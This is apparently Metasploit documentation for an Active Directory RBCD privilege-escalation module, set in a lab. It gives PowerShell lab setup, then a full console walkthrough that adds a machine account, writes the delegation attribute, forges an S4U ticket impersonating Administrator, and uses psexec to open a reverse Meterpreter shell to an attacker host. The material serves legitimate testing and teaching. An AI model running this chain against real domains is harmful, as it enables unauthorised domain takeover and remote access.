RBCD Exploitation
If an account has the ability to write to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute against a target, i.e. having GenericWrite privileges, this can be abused for privilege escalation.
The auxiliary/admin/ldap/rbcd module can be used to read and write the msDS-AllowedToActOnBehalfOfOtherIdentity LDAP attribute against a target for Role Based Constrained Delegation (RBCD). When writing, the module will add an access control entry (ACE) to allow the account specified in DELEGATE_FROM to the object specified in DELEGATE_TO. For privilege escalation - the auxiliary/admin/kerberos/get_ticket module can then be used to request a new Kerberos S4U impersonation ticket for the Administrator account.
In order for the auxiliary/admin/ldap/rbcd module to succeed, the authenticated user must have write access to the target object (the object specified in DELEGATE_TO).
Lab setup
For the RBCD attack to work an Active Directory account (i.e. sandy) is required with write privileges to the target computer (i.e. WS01).
From an admin powershell prompt, first create a new Active Directory account, sandy, in your Active Directory environment:
# Create a basic user account
net user /add sandy Password1!
# Mark the sandy and password as never expiring, to ensure the lab setup still works in the future
net user sandy /expires:never
Set-AdUser -Identity sandy -PasswordNeverExpires:$true
Grant Write privileges for sandy to the target machine, i.e. WS01:
# Remember to change WS01 to the name of your target Computer (i.e. the output of the hostname command)
$TargetComputer = Get-ADComputer 'WS01'
$User = Get-ADUser 'sandy'
# Add GenericWrite access to the user against the target computer
$Rights = [System.DirectoryServices.ActiveDirectoryRights] "GenericWrite"
$ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
$GenericWriteAce = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $User.Sid,$Rights,$ControlType,$InheritanceType
$TargetComputerAcl = Get-Acl "AD:$($TargetComputer.DistinguishedName)"
$TargetComputerAcl.AddAccessRule($GenericWriteAce)
Set-Acl -AclObject $TargetComputerAcl -Path "AD:$($TargetComputer.DistinguishedName)"
Finally Verify the Write privileges for the sandy account:
PS C:\Users\administrator> $TargetComputer = Get-ADComputer 'WS01'
PS C:\Users\administrator> (Get-ACL "AD:$($TargetComputer.DistinguishedName)").Access| Where-Object { $_.IdentityReference -Match 'sandy' }
ActiveDirectoryRights : GenericWrite
InheritanceType : All
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : MSFLAB\sandy
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None
Module usage
The admin/dcerpc/samr_computer module is generally used to first create a computer account, which requires no permissions:
From msfconsole
Do: use auxiliary/admin/dcerpc/samr_computer
Set the RHOSTS, SMBUser and SMBPass options a. For the ADD_COMPUTER action, if you don't specify COMPUTER_NAME or COMPUTER_PASSWORD - one will be generated automatically b. For the DELETE_COMPUTER action, set the COMPUTER_NAME option c. For the LOOKUP_COMPUTER action, set the COMPUTER_NAME option
Run the module and see that a new machine account was added
Then the auxiliary/admin/ldap/rbcd can be used:
Set the RHOST value to a target domain controller
Set the USERNAME and PASSWORD information to an account with the necessary privileges
Set the DELEGATE_TO and DELEGATE_FROM data store options
Use the WRITE action to configure the target for RBCD
See the Scenarios for a more detailed walk through
Actions
FLUSH
Delete the security descriptor. Unlike the REMOVE action, this deletes the entire security descriptor instead of just the matching ACEs.
READ
Read the security descriptor and print the ACL contents to identify objects that are currently configured for RBCD.
REMOVE
Remove matching ACEs from the security descriptor DACL. Unlike the FLUSH action, this only removes the matching ACEs instead of deleting the entire security descriptor.
WRITE
Add an ACE to the security descriptor DACL to enable RBCD. The new entry will be appended to the ACL after any existing ACEs. No changes are made to the security descriptor if the ACE to enable RBCD already exists.
Options
DELEGATE_TO
The delegation target. This is the object whose ACL is the target of the ACTION (read, write, etc.). The authenticated user must have write access to this object.
DELEGATE_FROM
The delegation source. This is the object which is added to (if action is WRITE) or removed from (if action is REMOVE) the delegation target.
Scenarios
Window Server 2019 Domain Controller
In the following example the user MSFLAB\sandy has write access to the computer account WS01$. The sandy account is used to add a new computer account to the domain, then configures WS01$ for delegation from the new computer account.
The new computer account can then impersonate any user, including domain administrators, on WS01$ by authenticating with the Service for User (S4U) Kerberos extension.
First create the computer account:
msf6 auxiliary(admin/dcerpc/samr_computer) > show options
Module options (auxiliary/admin/dcerpc/samr_computer):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPUTER_NAME no The computer name
COMPUTER_PASSWORD no The password for the new computer
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Auxiliary action:
Name Description
---- -----------
ADD_COMPUTER Add a computer account
msf6 auxiliary(admin/dcerpc/samr_computer) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBUser sandy
SMBUser => sandy
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBPass Password1!
SMBPass => Password1!
msf6 auxiliary(admin/dcerpc/samr_computer) > run
[*] Running module against 192.168.159.10
[*] 192.168.159.10:445 - Using automatically identified domain: MSFLAB
[+] 192.168.159.10:445 - Successfully created MSFLAB\DESKTOP-QLSTR9NW$
[+] 192.168.159.10:445 - Password: A2HPEkkQzdxQirylqIj7BxqwB7kuUMrT
[+] 192.168.159.10:445 - SID: S-1-5-21-3402587289-1488798532-3618296993-1655
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/samr_computer) > use auxiliary/admin/ldap/rbcd
Now use the RBCD module to read the current value of msDS-AllowedToActOnBehalfOfOtherIdentity:
msf6 auxiliary(admin/ldap/rbcd) > set USERNAME [email protected]
BIND_DN => [email protected]
msf6 auxiliary(admin/ldap/rbcd) > set PASSWORD Password1!
BIND_PW => Password1!
msf6 auxiliary(admin/ldap/rbcd) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(admin/ldap/rbcd) > set DELEGATE_TO WS01$
DELEGATE_TO => WS01$
msf6 auxiliary(admin/ldap/rbcd) > read
[*] Running module against 192.168.159.10
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty.
[*] Auxiliary module execution completed
Writing a new msDS-AllowedToActOnBehalfOfOtherIdentity value using the computer account created by admin/dcerpc/samr_computer:
msf6 auxiliary(admin/ldap/rbcd) > set DELEGATE_FROM DESKTOP-QLSTR9NW$
DELEGATE_FROM => DESKTOP-QLSTR9NW$
msf6 auxiliary(admin/ldap/rbcd) > write
[*] Running module against 192.168.159.10
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
[*] Auxiliary module execution completed
Reading the value of msDS-AllowedToActOnBehalfOfOtherIdentity to verify the value is updated:
msf6 auxiliary(admin/ldap/rbcd) > read
[*] Running module against 192.168.159.10
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Allowed accounts:
[*] DESKTOP-QLSTR9NW$ (S-1-5-21-3402587289-1488798532-3618296993-1655)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/rbcd) >
Next we can use the auxiliary/admin/kerberos/get_ticket module to request a new S4U impersonation ticket for the Administrator account using the previously created machine account. For instance requesting a service ticket for SMB access:
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.159.10 username=DESKTOP-QLSTR9NW password=A2HPEkkQzdxQirylqIj7BxqwB7kuUMrT domain=msflab.local spn=cifs/ws01.msflab.local impersonate=Administrator
[*] Running module against 192.168.159.10
[+] 192.168.159.10:88 - Received a valid TGT-Response
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_533930.bin
[*] 192.168.159.10:88 - Getting TGS impersonating [email protected] (SPN: cifs/ws01.msflab.local)
[+] 192.168.159.10:88 - Received a valid TGS-Response
[*] 192.168.159.10:88 - TGS MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_962080.bin
[+] 192.168.159.10:88 - Received a valid TGS-Response
[*] 192.168.159.10:88 - TGS MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_614556.bin
[*] Auxiliary module execution completed
The saved TGS can be used in a pass-the-ticket style attack. For instance using the exploit/windows/smb/psexec module for a reverse shell:
msf6 exploit(windows/smb/psexec) > run lhost=192.168.123.1 rhost=192.168.159.10 username=Administrator smb::auth=kerberos smb::rhostname=ws01.msflab.local domaincontrollerrhost=192.168.159.10 smbdomain=msflab.local smb::krb5ccname=/Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_614556.bin
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445|msflab.local as user 'Administrator'...
[*] 192.168.159.10:445 - Loaded a credential from ticket file: /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_614556.bin
[*] 192.168.159.10:445 - Selecting PowerShell target
[*] 192.168.159.10:445 - Executing the payload...
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 192.168.159.10
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.159.10:60755) at 2023-02-22 10:00:01 +0000
meterpreter >
